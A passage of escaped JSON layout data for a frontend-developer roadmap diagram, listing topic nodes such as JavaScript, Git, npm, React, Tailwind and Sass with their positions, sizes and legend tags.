{\n        \"x\": -111.68467266956958,\n        \"y\": 363.72214459475447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Responsive Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"T04FRCIzpGmFMji5LiDQ5\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -111.68467266956958,\n        \"y\": 363.72214459475447\n      },\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 128,\n      \"height\": 49,\n      \"id\": \"ODcfFEorkfJNupoQygM53\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -316.1846726695696,\n        \"y\": 462.5154932607581\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MD3yDMZpJqEcjQpJQtigd\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -316.1846726695696,\n        \"y\": 462.5154932607581\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"A4brX0efjZ0FFPTB4r6U0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -645.3075746114723,\n        \"y\": 516.7221445947545\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fetch API / Ajax (XHR)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZHFZBySpPJwJH3UDwJ9HY\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -645.3075746114723,\n        \"y\": 516.7221445947545\n      },\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"0MAogsAID9R04R5TTO2Qa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -645.3075746114723,\n        \"y\": 462.72214459475447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn DOM Manipulation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"f-zv32_OdWNMXej3w6q1J\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -645.3075746114723,\n        \"y\": 462.72214459475447\n      },\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"wQSjQqwKHfn5RGPk34BWI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -645.3075746114723,\n        \"y\": 408.72214459475447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HDznTGgbYd3Z-gtDWSt9M\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -645.3075746114723,\n        \"y\": 408.72214459475447\n      },\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 154,\n      \"height\": 49,\n      \"id\": \"MXnFhZlNB1zTsBFDyni9H\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 244.89428364498542,\n        \"y\": 462.5154932607581\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VCS Hosting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hRzglhOCM-mgmA7sPQI_J\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 244.89428364498542,\n        \"y\": 462.5154932607581\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 248,\n      \"height\": 49,\n      \"id\": \"NIY7c4TQEEHx0hATu-k5C\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -89.10571635501458,\n        \"y\": 462.72214459475447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Control Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UDis-1MAyLHwxm4wdJrbE\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -89.10571635501458,\n        \"y\": 462.72214459475447\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"R_I4SGYqLk5zze5I1zS_E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.605716355014579,\n        \"y\": 553.7221445947545\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mi9YYg2qoXHHZm4LMZZMi\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -15.605716355014579,\n        \"y\": 553.7221445947545\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 203,\n      \"height\": 49,\n      \"id\": \"IqvS1V-98cxko3e9sBQgP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -41.10571635501458,\n        \"y\": 642.3734598570146\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Package Managers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Jr2sD2Mn0oGGTnTYggWRZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -41.10571635501458,\n        \"y\": 642.3734598570146\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 154,\n      \"height\": 49,\n      \"id\": \"qmTVMJDsEhNIkiwE_UTYu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 244.89428364498542,\n        \"y\": 260.49093274179154\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YFe7BDbyGA_iiDUkx6oqq\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 244.89428364498542,\n        \"y\": 260.49093274179154\n      },\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 154,\n      \"height\": 49,\n      \"id\": \"zIoSJMX3cuzCgDYHjgbEh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 244.89428364498542,\n        \"y\": 314.49093274179154\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitLab\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bxr3QfV0O9CTeAePaV-vc\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 244.89428364498542,\n        \"y\": 314.49093274179154\n      },\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 154,\n      \"height\": 49,\n      \"id\": \"DILBiQp7WWgSZ5hhtDW6A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 244.89428364498542,\n        \"y\": 368.49093274179154\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bitbucket\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Uz1bEMwz1z_Bnm7IpZtUt\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 244.89428364498542,\n        \"y\": 368.49093274179154\n      },\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"yrq3nOwFREzl-9EKnpU-e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -234.5062033769848,\n        \"y\": 694.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"yarn\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aHMTzaoKeju0JmnKcL5Zf\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -234.5062033769848,\n        \"y\": 694.7248298360628\n      },\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"SLxA5qJFp_28TRzr1BjxZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -234.5062033769848,\n        \"y\": 640.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pnpm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"I8DtxaKfOiZV7z7cIjBp1\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -234.5062033769848,\n        \"y\": 640.7248298360628\n      },\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"ib_FHinhrw8VuSet-xMF7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -234.5062033769848,\n        \"y\": 586.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"npm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ci4QooZfv4b4V_dbHdBVy\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -234.5062033769848,\n        \"y\": 586.7248298360628\n      },\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 203,\n      \"height\": 49,\n      \"id\": \"eXezX7CVNyC1RuyU_I4yP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -41.10571635501458,\n        \"y\": 816.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pick a Framework\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qluZto0GSnGcLKzo5aPvG\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -41.10571635501458,\n        \"y\": 816.7248298360628\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 125,\n      \"height\": 49,\n      \"id\": \"-bHFIiXnoUQSov64WI9yo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.6924253885277,\n        \"y\": 792.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Angular\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_mAZxK-bYwb0YSGi3_TYf\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 271.6924253885277,\n        \"y\": 792.7248298360628\n      },\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 125,\n      \"height\": 49,\n      \"id\": \"ERAdwL1G9M1bnx-fOm5ZA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.6924253885277,\n        \"y\": 738.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vue.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wULFs38svyl-2rFOZU_6O\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 271.6924253885277,\n        \"y\": 738.7248298360628\n      },\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 125,\n      \"height\": 49,\n      \"id\": \"tG5v3O4lNIFc2uCnacPak\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.6924253885277,\n        \"y\": 684.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uIal-YNBZj87IUQkpesPY\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 271.6924253885277,\n        \"y\": 684.7248298360628\n      },\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 125,\n      \"height\": 49,\n      \"id\": \"ZR-qZ2Lcbu3FtqaMd3wM4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.6924253885277,\n        \"y\": 846.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Svelte\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"a99SLXPb90SKSYlKnLZ2V\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 271.6924253885277,\n        \"y\": 846.7248298360628\n      },\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 125,\n      \"height\": 49,\n      \"id\": \"DxOSKnqAjZOPP-dq_U7oP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.6924253885277,\n        \"y\": 900.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Solid JS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"76_HsxbNz3Hx_ceupTc7d\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 271.6924253885277,\n        \"y\": 900.7248298360628\n      },\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 125,\n      \"height\": 49,\n      \"id\": \"N5DCb6bDfgUnSdHPLYY4g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.6924253885277,\n        \"y\": 954.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Qwik\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"plpeLEvJgqN8v_koc8zMf\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 271.6924253885277,\n        \"y\": 954.7248298360628\n      },\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 172,\n      \"height\": 49,\n      \"id\": \"XDTD8el6OwuQ55wC-X4iV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -448.6984751538557,\n        \"y\": 817.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Writing CSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mVB2SuMdWlS4iboXkZmmi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -448.6984751538557,\n        \"y\": 817.7248298360628\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 139,\n      \"height\": 49,\n      \"id\": \"eghnfG4p7i-EDWfp3CQXC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -644.6984751538557,\n        \"y\": 817.7248298360628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tailwind\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"URZEGnsvxsqA6di6RPE-9\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -644.6984751538557,\n        \"y\": 817.7248298360628\n      },\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 102,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -162,\n        \"y\": -202.5992517776511\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -162,\n        \"y\": -202.5992517776511\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 102\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 102\n      }\n    },\n    {\n      \"width\": 177,\n      \"height\": 49,\n      \"id\": \"nPg_YWpMJtlhU2t2UD_6B\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -451.1984751538557,\n        \"y\": 939.3734598570145\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CSS Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Hywq64knVVo-ueMDlWIlV\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -451.1984751538557,\n        \"y\": 939.3734598570145\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 211,\n      \"height\": 49,\n      \"id\": \"UTW1pP59dUehuf0zeHXqL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -199.68921216755552,\n        \"y\": 939.3734598570145\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CSS Preprocessors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OtOD2ta89JI6LB-b5Rn41\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -199.68921216755552,\n        \"y\": 939.3734598570145\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 139,\n      \"height\": 49,\n      \"id\": \"dRDmS072xeNLX7p_X565w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -644.6984751538557,\n        \"y\": 939.3734598570145\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BEM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tFTf8ShyBFo8WqHmRKGf3\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -644.6984751538557,\n        \"y\": 939.3734598570145\n      },\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"kukEE5rMSPa4NeNjx21kt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -199.68921216755552,\n        \"y\": 1012.9484886477385\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sass\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bzo4iJ2GaxRX1g7COIrsO\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -199.68921216755552,\n        \"y\": 1012.9484886477385\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"9WlPENh9g1xOv-zA64Tfg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -89.68921216755552,\n        \"y\": 1012.9484886477385\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PostCSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FuupAErYJB5_9EYcs8Ltg\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -89.68921216755552,\n        \"y\": 1012.9484886477385\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 161,\n      \"height\": 49,\n      \"id\": \"i9z0stM4uKu27Cz6NIgNX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 241.39428364498542,\n        \"y\": 1208.9097604780045\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Build Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": 